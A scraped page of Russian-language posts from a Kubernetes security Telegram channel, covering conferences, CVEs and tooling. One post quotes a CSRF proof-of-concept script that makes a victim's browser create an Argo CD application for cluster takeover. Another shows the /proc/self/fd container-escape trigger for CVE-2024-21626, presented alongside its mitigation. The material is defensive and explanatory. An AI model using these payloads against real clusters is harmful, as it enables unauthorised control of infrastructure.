k8security | Неотсортированное

Telegram-канал k8security - k8s (in)security

10261

Канал о (не)безопасности Kubernetes + микросервисных, контейнеризированных приложений. Ведет команда www.luntry.ru Вопросы, идеи, предложения => @Qu3b3c https://knd.gov.ru/license?id=673ddbc21039886b1d03b7ce®istryType=bloggersPermission

Подписаться на канал

k8s (in)security

В заключении недели мы рады поделиться слайдами и видео нашего выступления "Нестандартное применение Kyverno" c конференции SafeCode 2024! Изначально доклад задумывался как полу шуточный, но с прицелом на то что бы показать практическую безграничность логику политик, которую вы можете реализовать с данным PolicyEngine. На самом деле вы ограничены лишь своей фантазией) На сегодняшней день PolicyEngine это просто must have инструмент для любой инфраструктуры и что важно как для ИБ, так и ИТ команд.

Читать полностью…

k8s (in)security

Стало доступно видео доклада "Безопасность Kubernetes кластеров: вредные советы" с DevOpsConf 2024! Буду рад обратной связи кто не был на самом выступлении. Присутствующие же очень высоко оценили доклад - по итогам конференции он вошел в ТОП-10 =)

Читать полностью…

k8s (in)security

2024-ый год для Argo CD начался с пачки CVE (большинство из них DoS), однако наше внимание привлекла CVE-2024-22424: Cross-Site Request Forgery (CSRF) in github.com/argoproj/argo-cd.

Всё началось с того, что уже несколько лет API Argo CD уязвимо к CSRF (1,2). Но разработчики игнорировали эту проблему (видимо не было достоверных пруфов эксплуатации) и в качестве мер митигации стали использвать Lax SameSite cookie, которую можно довольно легко обойти, если origin находится в том же родительском домене, что и target.

Исследователи обнаружившие эту уязвимость рассмотрели случай, когда атакующий контроллирует содержимое на marketing.victim.com (например, через хранимую XSS) и его целью является Argo CD расположенный на argocd.internal.victim.com. Представленный PoC позволяет атакующему через CSRF уязвимость получить полный контроль над кластером Kubernetes. Для этого на подконтрольном домене атакующему достаточно разместить следующий JavaScript код:


var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://argocd.internal.victim.com/api/v1/applications');
xhr.setRequestHeader('Content-Type', 'text/plain')
xhr.withCredentials = true;
xhr.send('{"apiVersion":"argoproj.io/v1alpha1","kind":"Application","metadata":{"name":"test-app1"},"spec":{"destination":{"name":"","namespace":"default","server":"https://kubernetes.default.svc"},"source":{"path":"argotest1","repoURL":"https://github.com/user/repo","targetRevision":"HEAD"},"sources":[],"project":"default","syncPolicy":{"automated":{"prune":false,"selfHeal":false}}}}')


После того как жертва перейдет на marketing.victim.com от её лица выполнится POST запрос к API Argo CD на создание Application, где repoURLgithub репозиторий, в котором злоумышленник может разместить что угодно: Bad Pods с reverse shell, Cluster Admin права и т.д. Всё это задеплоится в кластере.

Более подробно об этой уязвимости можно прочитать в заметке исследователей.

Прикольно, что через веб уязвимость можно получить полный контроль над кластером Kubernetes.

Читать полностью…

k8s (in)security

В связи с недавним нашумевшем инцидентом с xz utils в очередной раз хочется обратить внимание на замечательную заметку от Halvar Flake под названием "A bank statement for app activity (and thus personal data)" от 2018 года, где он рассуждает что такое вредоносное и не вредоносное.

Пускай он там говорит в основном про мобильные приложения, но суть поведения приложений также накладывается и на контейнеры с их запуском исполняемых файлов, обращению к файловой системе и сетевым соединениям. Также благо, что наши контейнеры запускаются на иммутабельных образах и имеют не изменяемую логику, небольшую работу на скейле (на нескольких копиях).

Как итог, важно понимать свою систему, которую вы защищаете, а не относиться к ней как к черному ящику.

P.S. Занимательный факт - именно эта заметка легла в основу поведенческого анализа и observability нашего Luntry.

Читать полностью…

k8s (in)security

Kubernetes 1.30 уже не за горами (релиз 17 апреля), кодовая база заморожена, а это значит что самое время посмотреть, что нового приготовили для нас разработчики со стороны security.

- Improved Handling of Secret Images in Container Runtime. Повторная аутентификация при связке imagePullPolicy: IfNotPresent и imagePullSecrets
- Reduction of Secret-Based Service Account Tokens. При создании нового Service Account, токен и его секрет не будут генерироваться автоматически
- Bound Service Account Token Improvements. Теперь к Service Account, которые привязаны к конкретным Pod будут добавляться JWT ID (JTI).
- Node Log Query. Добавление новой ручки в kubelet, благодаря которой можно будет собирать логи с Nodekubectl get --raw "/api/v1/nodes/worker/proxy/logs/?query=kubelet&pattern=error"
- Prevent Unauthorized Volume Mode Conversion During Volume Restore. Предотвращение несанкционированного доступа, когда PVC восстанавливается из VolumeSnapshot.
- Speed Up Recursive SELinux Label Change. Ускорение времени запуска контейнеров за счет оптимизации процесса изменения лейблов SELinux.
- Kubelet Support for Image Filesystem Split. Разделение FS контейнера на слои – writable и read-only.

Про эти и другие изменения более подробно можно почитать в официальном changelog.

Читать полностью…

k8s (in)security

На прошлой неделе прошел KubeCon + CloudNativeCon Europe 2024, однако перед этой большой конференцией прошла Cloud Native Rejekts EU 24 – по масштабам она сильно меньше, но по полезности точно не уступает. Эта конференция для докладов, которые не были приняты на KubeCon + CloudNativeCon Europe 2024.

Один из докладов оттуда – Exploring Attacker Persistence Strategies in Kubernetes от Rory McCune, в нём он рассказывает о способах закрепления в Kubernetes кластерах.

По сценарию, который рассматривается в докладе, атакующий получает доступ к cluster-admin на короткий промежуток времени и хочет закрепиться в кластере, используя Tailscale. Более подробно о том, что это такое и как с этим работать он рассказал в статье Using Tailscale for persistence.

Читать полностью…

k8s (in)security

Вчера данному каналу, который вы сейчас читаете, исполнилось 4 года! Спасибо что читаете, комментируете, ставите реакции и просто не равнодушны к нашей деятельности. Будем и дальше вас радовать интересными постами, докладами, эфирами, конференциями по теме безопасности контейнеров и Kubernetes! У нашей команды Luntry есть еще много идей как можно сделать вовлечение и изучение данной сферы более интересным и полезным – главное, чтобы на все это хватило времени и сил)

Если вы нас хотите поддержать в этом деле, то расскажите о канале тем, кому это будет полезно. Будет здорово если наша сообщество будет расти,развиваться и мы видеть эту обратную связь!

P.S. А моему сынишке 3 года! Да-да и все это в один день)

Читать полностью…

k8s (in)security

Сегодня мы рады анонсировать еще 1 доклада с нашей конференции БеКон 2024. Таким образом уже анонсировали 7 докладов. Будет еще 2-3.

#7

Название: Латаем огрехи в образах приложений с помощью Kubernetes
Докладчик: Анатолий Карпенко, Luntry
Описание: Обычная ситуация — вам достался образ, который вот совсем не по best practice по безопасности. И вы отказаться от него не можете и поправить в нем ничего не можете. Или все-таки можете?! C помощью механизмов Kubernetes?! В рамках этого доклада как раз с этим и разберемся.

Читать полностью…

k8s (in)security

Стало доступно видео доклада Orchestrate This! Kubernetes Rootkit с прошедшей конференции Blackhat Europe 2023. О самой начинке доклада мы рассказывали в одном из предыдущих постов. Хотим лишь напомнить, что авторы в своем докладе представили container-based rootkit под названием kubekit.

В видео авторы демонстрируют демо, в котором показывают возможности представленного инструмента.

Читать полностью…

k8s (in)security

Исследователи из WIZ сделали небольшой онлайн CTF "Kubernetes LAN Party" на тему Kubernetes Security. Он довольно обширно и нетривиально покрывает вопросы сетевой безопасности в Кубере. Разведка в скомпропетированном Pod, обход Istio и Lateral Movement с помощью Kyverno – всё это есть в этом CTF. Ничего дополнительно устанавливать не требуется, терминал доступен прямо из браузера.

Сами мы уже прошли челлендж, и однозначно рекомендуем пройти его всем, кто так или иначе имеет дело с безопасностью контейнеров и Kubernetes.

P.S – Хотите увидеть прохождение данного CTF от нас?

Читать полностью…

k8s (in)security

Это выписка с предупреждением из официальной документации Docker, говорящая о проблемах работы системы контейнеризации на одном хосте с антивирусным решением.

Относительно Kubernetes все абсолютно тоже самое. Как вы знаете containerd, runc это части проекта Docker, а в инсталляциях с cri-o под капотом чаще всего тот же runc. Так что относительно заметки меняется только путь на файловой системе и все.

Я должен был добавить это в соответствующий раздел своей презентации "Безопасность Kubernetes кластеров: вредные советы" на DevOpsConf 2024, но забыл и сейчас вот исправляюсь.

P.S. Обратите внимание, что это актуально и для Linux и для Windows.

Читать полностью…

k8s (in)security

В конце прошлого года в Kubernetes была найдена серьезная уязвимость CVE-2023-5528 высокого уровня критичности с CVSS 7.2 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H)!!!

Срочно бегите обновляйте свои кластера на Windows!

Пока те пару человек пошли обновляться (и команда Azure), давайте разберемся в самой уязвимости, а поможет нам в этом статья от исследователей, что ее обнаружили, под названием "What a Cluster: Local Volumes Vulnerability in Kubernetes".

Основные моменты:
- Кластер на Windows
- kubelet < v1.8.0
- Атакующий с правами создавать pods и persistent volumes
- Отсутствие проверки пользовательского ввода в subPath параметре YAML файла приводит к injection
- Получаем RCE c привилегиями SYSTEM на всех Windows тачках в кластере

Авторы также выложили политику для OPA для обнаружения и блокировки эксплуатации такого. Это еще раз говорит, что Policy Engine это просто must have компонент в безопасности - заранее нельзя знать от какого ресурса и параметра ожидать подставы...

P.S. Мне как бывшему реверсеру, так радостно снова увидеть calc.exe в payload =)

P.S.S. И уже сегодня в 11:00 мы поговорим на вебинаре про runtime security в k8s ;)

Читать полностью…

k8s (in)security

Сегодня мы рады анонсировать еще 2 доклада с нашей конференции БеКон 2024. Таким образом уже анонсировали 6 докладов. Будет еще 3-4.

#5
Название: От стандартных к нестандартным методам управления секретов в контейнерах
Докладчик: Валерий Кунавин
Описание: На сегодняшний день есть огромное количество способов управлять секретами - почти на любой вкус и цвет. Важно в этом ориентироваться и понимать какой способ выбрать в том или ином случае. При этом понимать от каких нарушителей это нас все равно не убережет ... И при необходимости думать уже в сторону нестандартных способов - в сторону короткоживущих секретов.

№6
Название: Мультитенантность в Kubernetes: есть ли серебряная пуля?
Докладчик: Константин Аксенов (Флант)
Описание: Существуют различные варианты для организации мультитенантности в Kubernetes, например Hierarchical Namespace Controller (HNC) или Capsule. Есть возможность реализовать свой подход к изоляции с помощью базового Kubernetes API или создать свой собственный API. Естественно выбор во многом зависит от требований и внутреннего устройства процессов и команд. В докладе рассмотрим преимущества и недостатки разных подходов, а также к чему мы пришли в процессе разработки нашего решения.

P.S. До 15 марта можно взять билеты по сниженной цене.

Читать полностью…

k8s (in)security

Если вы используете SELinux (или AppArmor) в Kubernetes, то одним из условий использования является наличие профиля на каждой Worker Node, где могут запускаться нагрузки. Раскладывание профилей по Nodes довольно распространненая проблема, однако её можно решить с помощью Security Profles Operator (о котором мы не раз рассказывали на канале – 1, 2, 3).

В версии CRI-O 1.30 был добавлен ряд аннотаций, благодаря которым можно удобно ссылаться на размещенный в OCI registry SELinux профиль:

- seccomp-profile.kubernetes.cri-o.io/<CONTAINER>
- seccomp-profile.kubernetes.cri-o.io/<POD>


Более подробно об этом функционале можно почитать в официальном блоге Kubernetes, а именно в статье CRI-O: Applying seccomp profiles from OCI registries.

Читать полностью…

k8s (in)security

На нашем сайте стали доступны слайды доклада "Безопасность Kubernetes кластеров: вредные советы" с прошедшего DevOpsConf 2024 (видео будет доступно позже). Доклад был очень хорошо принят аудиторией - спасибо вам большое за это! Многие уже начали спрашивать будет ли вторая часть?) Думаю, что да! Также после доклада кто-то из слушателей отметил, что доклад можно было назвать "Безопасность Kubernetes кластеров: Bullshit Bingo" и это правда возможно даже лучше бы отражало смысл доклада) Но я думаю, что можно будет реально выпустить такой Bullshit Bingo, чтобы не скучно проводить митинги/созвоны =)

P.S. Можно смело контрибьютить в этот список!

P.S.S. Всех девушек с наступающим 8 марта!

Читать полностью…

k8s (in)security

В одном из предыдущих постов мы рассказывали про Kubernetes LAN Party – небольшое CTF, состоящее из 5 заданий и посвященное Kubernetes Network Security. Пост набрал большие охваты и реакции, очевидно, что вы хотели видеть разбор этих заданий от нас и мы его сделали.

По ссылке можно почитать write-up с разбором всех пяти заданий. Спойлеров не будет, все флаги заблюрены :) Мы рекомендуем прорешать и попробовать свои силы в этом CTF каждому, кто так или иначе имеет дело с безопасностью Kubernetes, и только потом обращаться к нашей статье.

Читать полностью…

k8s (in)security

На злобу дня)

Что сейчас многие делают? Выискивают у себя в инфраструктуре этот xz utils, ставят задачи на откатиться на нужную версию и ждут когда это произойдет. Возможно кто-то еще какие-то правила детектов на уровни сети напишет. Совсем малое количество (с высоким уровнем зрелости) полезут в логи и будут пытаться там найти следы эксплуатации этой проблемы и если что заведут соответствующие инциденты, которые нужно будет расследовать. Большинство же не сможет не обнаружить этого, не провести расследования (и будут уже жить с другим бэкдором на другом уровне у себя в инфраструктуре).

Хотелось бы в очередной раз напомнить про экономический момент в безопасности. Предотвратить дешевле, чем расследовать ... Не забывайте об этом когда строите безопасность у себя в компании.

Читать полностью…

k8s (in)security

4 апреля в Москве в рамках мероприятия «Территория безопасности 2024: все pro ИБ» наша команда и в рамках выставки покажет Luntry, и в рамках секции PRO УПРАВЛЕНИЕ УЯЗВИМОСТЯМИ расскажет доклад «Управление уязвимостями в микросервисах и контейнерных средах».

В данном докладе мы рассмотрим какие есть особенность в теме vulnerability management для: микросервисов, контейнеров, окружений под управлением Kubernetes, облачных сред и т.д. И какие это дает возможности с соответствующими преимуществами и недостатками.

Будем рады пообщаться лично)

Читать полностью…

k8s (in)security

Сегодня мы рады анонсировать еще 1 доклада с нашей конференции БеКон 2024. Таким образом уже анонсировали 8 докладов. Будет еще 1-2.

#8

Название: Вы еще не читаете Kubernetes Audit Log? Тогда мы идем к вам!
Докладчик: Алиса Кириченко (Лаборатория Числитель)
Описание: Многие компании, в т.ч. крупные сталкиваются с проблемой эффективного сбора и обработки логов. В докладе мы рассмотрим: для чего собирать Kubernetes логи, как их выбирать, не терять при сборе и перенаправлении, а также не перегружать хранилище

Напомним, что билетов ограниченное количество, и взять их можно тут.

Читать полностью…

k8s (in)security

С 19 по 22 марта в Париже прошел KubeCon + CloudNativeCon Europe 2024. Там было как всегда море всего интересного про Kubernetes и его безопасность. Пока что мы еще изучаем показанное там и готовим для вас посты, вы уже можете самостоятельно окунуться в море почти бесконечных докладов! Но предварительно ознакомьтесь с их перечнем в расписании, чтобы сориентироваться где и что искать ;)

- KubeCon + CloudNativeCon Europe 2024
- ArgoCon North Europe 2024
- BackstageCon Europe 2024
- Cloud Native AI Day Europe 2024
- Cloud Native Wasm Day Europe 2024
- Kubeflow Summit Europe 2024
- Multi-TenancyCon Europe 2024
- OpenTofu Day Europe 2024
- Platform Engineering Day Europe 2024

Напомним, что теперь SecurityDay трека нет, а есть отдельная конференция CloudNativeSecurityCon и она будет 26–27 июня.

Читать полностью…

k8s (in)security

Наши хорошие товарищи Антон Жаболенко и Алексей Федулаев в рамках HighLoad++ 2023 выступали с любопытным докладом под названием "Как собрать контейнер и не вооружить хакера". И сейчас стала доступна видеозапись выступления и статья на Хабре по мотивам доклада.

Данная презентация посвящена Living off the Land (LotL) атакам. По сути, это атаки с использованием легитимных программ, которые уже присутствуют в целевой системе куда попал атакующий. В данном случае это в образах контейнеров. В статье есть множество разных трюков/приемов о которых должен знать любой представитель красной команды) Ну а оппоненты из синей команды должны знать способы как это либо предотвратить, либо своевременно обнаружить ;)

Читать полностью…

k8s (in)security

На прошлой неделе завершилось ежегодное сореванование хакеров Pwn2Own, которое в этот раз проходило с расширенным скоупом – в список таргетов попали Docker Desktop, containerd, Firecracker и gRPC. Первый побег из контейнера в Docker Desktop через UAF в рамках этого сореванования продемонстрировала команда STAR Labs SG и заработала $60,000.

По правилам, у вендора есть 90 дней перед тем, как исследователи раскроют технические подробности и задействованные эксплойты. А пока остаётся только гадать, через какой вектор исследователям удалось сбежать из контейнера – была ли это ядерная бага или же проблема в одном из компонентов Docker.

Читать полностью…

k8s (in)security

Вчера в одном из чатов тренинга нас спросили наше мнение насчет следующего момента из документации kubespray:"The anonymous-auth (on kube-apiserver) is set to true by default. This is fine, because it is considered safe if you enable RBAC for the authorization-mode."

Что явно противоречит пункту 1.2.1 из CIS Kubernetes Benchmark 1.8, который гласит: "Ensure that the --anonymous-auth argument is set to false" (по умолчанию значение true). Но там же в разделе написано: "If you are using RBAC authorization, it is generally considered reasonable to allow anonymous access to the API Server for health checks and discovery purposes, and hence this recommendation is not scored. However, you should consider whether anonymous discovery is an acceptable risk for your purposes." Что по сути уже повторяет смысл из документации kubespray.

Помните:
1. У пользователя system:anonymous и группы system:unauthenticated (от которых идут такие запросы) тоже есть права.
2. Включенный RBAC (если он включен, иначе туши свет) будет по этим правам давать им доступ.
3. Атакующий может накинуть права в RBAC для данного пользователя и группы, и он сможет пользоваться этими правами без аутентификации (считай backdoor). Если у вас разрешен анонимный доступ, контролируйте, что нет дополнительных прав.

По этой теме будет полезно вспомнить также статью "Let's talk about anonymous access to Kubernetes".

Читать полностью…

k8s (in)security

На нашем сайте стали доступны слайды и видео с вебинара/стрима "Runtime Security: на вкус и цвет все фломастеры разные". Это почти 2-х часовое погружение в мир агентских средств безопасности! Результатам данного анализа стала вот такая совсем не маленькая сравнительная таблица.

Читать полностью…

k8s (in)security

Тут недавно узнал, что в этом году исполняется 25 лет журналу "Хакер"! С этой грандиозной датой и хочется его поздравить)

Я уже как-то писал [1,2], что на протяжении 7 лет c 2010 по 2016 был редактором рубрик "X-Toolz" и "Security soft" (в разные годы, помимо статей) в журнале когда он был еще бумажным. Так что для меня это совсем не чужой журнал.

Читать полностью…

k8s (in)security

Исследователи из WIZ опубликовали OpenSource инструмент NamespaceHound, который позволит найти вектора повышения привилегий в Kubernetes кластерах, где мультитенантность организована на уровне namespaces.

По сути, инструмент сочетает в себе функционал RBAC анализатора и PolicyEngine – он ищет возможные опасные права в кластере, а также избыточно привилегированные и опасные контейнеры (BadPods), с помощью которых потенциальный злоумышленник может нанести существенный импакт кластеру. Сейчас их внутренняя библиотека насчитывает 21 правило.

Более подробно о самом инструменте и мотивации его создания можно почитать в статье NamespaceHound: protecting multi-tenant K8s clusters.

Читать полностью…

k8s (in)security

В будущей версии Kubernetes 1.30 фичу Support User Namespaces in Pods перевели в beta. Теперь её можно использовать с Pods c (или без) volumes, кастомными UID/GUID ranges и не только!

Благодаря использованию User Namespaces, можно митигировать риски от таких уязвимостей как CVE-2024-21626 или CVE-2021-25741. Для этого нужно включить feature gate – UserNamespacesSupport и добавить в манифест поле hostUsers:


apiVersion: v1
kind: Pod
metadata:
name: cve202421626
spec:
hostUsers: false
containers:
- name: ubuntu
image: ubuntu
workingDir: /proc/self/fd/8
command: ["sleep"]
args: ["infinity"]


Демо с митигацией CVE-2024-21626 и использованием User Namespace можно посмотреть тут.

Читать полностью…

k8s (in)security

Статья "There are only 12 binaries in Talos Linux" в блоге разработчиков ОС Talos раскрывает интересную статистику и информацию, о том сколько исполняемых файлов надо чтобы завелся k8s.

Вы понимаете насколько вообще можно уменьшить поверхность атаки (attack surface) и гемор по vulnerability management?! Не говоря уже об исключении целой модели нарушителя)

P.S. В названии 12, а в таблице 29, потому что подсчитаны sym и hard линки.

Читать полностью…

k8s (in)security

Сегодня мы рады анонсировать еще 2 доклада с нашей конференции БеКон 2024.

№3
Название: Мечтают ли антивирусы о docker-образах?
Докладчик: Владимир Капистка (samokat.tech)
Описание: Рассмотрим один из шагов нашего pipeline, который связан с антивирусным сканированием публичных docker-образов, загружаемых из Интернет в частный реджестри.

№4
Название: Все ли Service Mesh одинаковы полезны для ИБ?
Докладчик: Максим Чудновский (Сбертех)
Описание: Все знают, что одной из самых популярных фичей Service Mesh является функциональность zero-trust периметра для микросервисов: нам доступны mTLS, политики взаимной аутентификации и авторизации сразу из коробки. А еще все знают, что Service Mesh бывает разный - на sidecar-контейнерах, как Istio, или сетевых демонах, как Cilium, или что-то среднее, как новый Istio Ambient Mesh. В докладе мы рассмотрим, как под капотом реализованы популярные механизмы безопасности в этих решениях и научимся выбирать Service Mesh с точки зрения безопасности контейнеров.

P.S. До 15 марта можно взять билеты по сниженной цене.

Читать полностью…

k8s (in)security

13-14 марта пройдет online-конференция SafeCode 2024, в которой примет участие Сергей Канибор - автор данного канала и специалист Luntry.

14 марта в 12:15 по МСК в своем докладе «Нестандартное применение Kyverno» он расскажет об одном из самых популярных решений для класса PolicyEngines. Доклад особенно заинтересует AppSec-/DevSecOps-инженеров и DevOps.

Политики Kyverno могут валидировать, мутировать, генерировать и удалять Kubernetes-ресурсы, а также проверять подписи образов и артефактов для обеспечения безопасности цепочки поставок. Однако на этих тривиальных способах использования Kyverno его возможности не заканчиваются. Во время доклада Сергей покажет, что они практически безграничны и могут быть ограничены лишь полетом ваших мыслей и фантазий.

Узнать больше о докладе можно по ссылке.

Читать полностью…
Подписаться на канал